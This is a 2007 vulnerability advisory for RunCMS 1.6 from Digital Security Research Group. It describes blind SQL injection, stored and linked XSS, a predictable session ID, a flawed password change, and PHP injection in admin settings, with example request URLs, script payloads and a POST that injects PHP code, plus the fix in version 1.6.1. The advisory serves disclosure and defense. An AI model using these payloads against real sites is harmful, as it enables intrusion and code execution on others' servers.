runcms-multi.txt

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Digital Security Research Group Advisory   
  
  
Application: RunCMS  
Versions Affected: RunCMS 1.6  
Vendor URL: http://www.runcms.org  
Bugs: SQL Injections, XSS, PHP Include, Predictable session id, etc.  
Exploits: Aviable  
Reported: 14.12.2007  
Vendor response: 15.12.2007  
Date of Public Advisory: 25.12.2007  
Authors: Alexandr Polyakov, Stas Svistunovich  
Digital Security Research Group ([email protected])  
  
  
  
Description  
***********  
  
RunCMS system has multiple security vulnerabilities:  
  
1. Blind SQL Injection  
2. Stored XSS  
3. Linked XSS  
4. Image XSS  
5. Predictable session id  
6. Vulnerable password changing algorithm  
7. Many PHP Injections in Administrator panel  
  
  
Details  
*******  
  
  
1. Multiple Blind SQL Injection  
  
Attacker can inject SQL code in modules:  
  
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION  
http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION  
http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION  
http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION  
http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION  
http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION  
  
Example:  
  
This query will return link to download file:  
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1 HTTP/1.0  
  
  
This query will return error:  
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0 HTTP/1.0  
  
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2. Stored XSS  
  
Vulnerability found in script modules/news/submit.php in post parameter name "subject"  
  
  
Example:  
  
POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0  
  
  
subject=<script>alert("DSecRG_XSS")</script>  
  
--------------------------------------------------------------------------------------------  
  
  
3. Linked XSS vulnerability found in modules/news/index.php, attacker can inject XSS in URL string:  
  
Example:  
  
http://[server]/[installdir]/modules/news/index.php/"><script>alert('DSecRG_XSS')</script>  
  
--------------------------------------------------------------------------------------------  
  
  
4. Image XSS vulnerability in page edituser.php, attacker can upload avatar picture with XSS code:  
  
  
Example:  
  
More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian)  
  
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5. Predictable session id  
  
Session id generator uses a predictable function, so id can be changed manually.  
  
--------------------------------------------------------------------------------------------  
  
6. Password changing vulnerability  
  
Previous password not required to set a new password.  
  
--------------------------------------------------------------------------------------------  
  
  
7. Administrator page PHP Injection  
  
Administrator can inject PHP code and execute OS commands with webserver user privileges.  
  
page: /modules/system/admin.php?fct=meta-generator  
parameter name="header"  
parameter name="footer"  
  
page: /modules/system/admin.php?fct=disclaimer  
parameter name="disclaimer"  
  
page: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin  
parameter name='disclaimer'  
  
page: /modules/newbb_plus/admin/forum_config.php  
parameter name="disclaimer"  
  
page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin  
parameter name="disclaimer"  
  
page: /modules/sections/admin/index.php?op=secconfig  
parameter name='intro'  
  
  
Example:   
  
POST /modules/system/admin.php?fct=disclaimer HTTP/1.0  
Host=localhost  
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7  
Keep-Alive=300  
Proxy-Connection=keep-alive  
Content-Type=application/x-www-form-urlencoded  
Content-Length=226  
POSTDATA=perpage=10&popular=100&newlinks=10&useshots=0&shotwidth=140&anon_add=0&rss_enable=1&rss_maxitems=5&rss_maxdescription=200&  
disclaimer=<?phpinfo();?>&op=myLinksConfigChange  
  
  
This page can be overwritten by PHP injection:  
  
runcms_1.6\modules\sections\cache\intro.php  
runcms_1.6\modules\mylinks\cache\disclaimer.php  
runcms_1.6\modules\mydownloads\cache\disclaimer.php  
runcms_1.6\modules\newbb_plus\cache\disclaimer.php  
runcms_1.6\modules\system\cache\disclaimer.php  
runcms_1.6\modules\system\cache\footer.php  
runcms_1.6\modules\system\cache\header.php  
runcms_1.6\modules\system\cache\maintenance.php  
  
  
  
Fix Information  
***************  
  
RunCMS was altered to fix this flaw on Dec 15, 2007. Updated version (1.6.1) can be downloaded here:  
http://www.runcms.org/modules/mydownloads/visit.php?lid=131  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting,  
audit and penetration testing services, risk analysis and ISMS-related services and certification for  
ISO/IEC 27001:2005 and PCI DSS standards.  
Digital Security Research Group focuses on web application and database security problems  
with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: [email protected]  
http://www.dsec.ru (in Russian)  
  
  
  
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Digital Security Research Group mailto:[email protected]  
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